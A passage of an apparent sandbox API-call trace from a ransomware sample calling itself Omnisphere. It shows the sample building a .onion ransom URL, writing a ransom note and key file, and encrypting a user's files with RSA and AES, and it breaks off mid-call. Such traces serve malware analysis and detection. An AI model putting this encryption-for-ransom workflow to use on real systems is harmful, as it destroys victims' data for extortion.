lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2130, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.339] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.339] GetProcessHeap () returned 0x1600000 [0119.339] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afd28 [0119.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afd28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.340] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.340] GetProcessHeap () returned 0x1600000 [0119.340] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a19b0 [0119.340] PathCombineW (in: pszDest=0x16a19b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.340] GetProcessHeap () returned 0x1600000 [0119.340] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b6de8 [0119.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.340] WriteFile (in: hFile=0x28c, lpBuffer=0x16b6de8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b6de8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.340] CloseHandle (hObject=0x28c) returned 1 [0119.341] GetProcessHeap () returned 0x1600000 [0119.341] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bb1f8 | out: hHeap=0x1600000) returned 1 [0119.341] GetProcessHeap () returned 0x1600000 [0119.341] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.341] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.341] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.341] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.341] CloseHandle (hObject=0x28c) returned 1 [0119.341] GetProcessHeap () returned 0x1600000 [0119.342] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.342] GetProcessHeap () returned 0x1600000 [0119.342] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a16d0 | out: hHeap=0x1600000) returned 1 [0119.342] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff7fef, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21ff7fef, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21ff7fef, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0xd3, cFileName="9XgYhPYcWzu1Fe.lnk", cAlternateFileName="9XGYHP~1.LNK")) returned 1 [0119.342] GetProcessHeap () returned 0x1600000 [0119.342] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.342] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="9XgYhPYcWzu1Fe.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk" [0119.342] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9xgyhpycwzu1fe.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.342] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1140) returned 1 [0119.342] GetTickCount () returned 0x115dd1e [0119.342] GetTickCount () returned 0x115dd1e [0119.342] GetTickCount () returned 0x115dd1e [0119.342] GetTickCount () returned 0x115dd1e [0119.342] GetTickCount () returned 0x115dd1e [0119.342] GetTickCount () returned 0x115dd1e [0119.342] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] GetTickCount () returned 0x115dd1e [0119.343] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0119.344] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.344] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.344] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.344] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0119.344] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x474, lpName=0x0) returned 0x288 [0119.345] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x474) returned 0x1480000 [0119.345] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0119.346] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0119.346] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 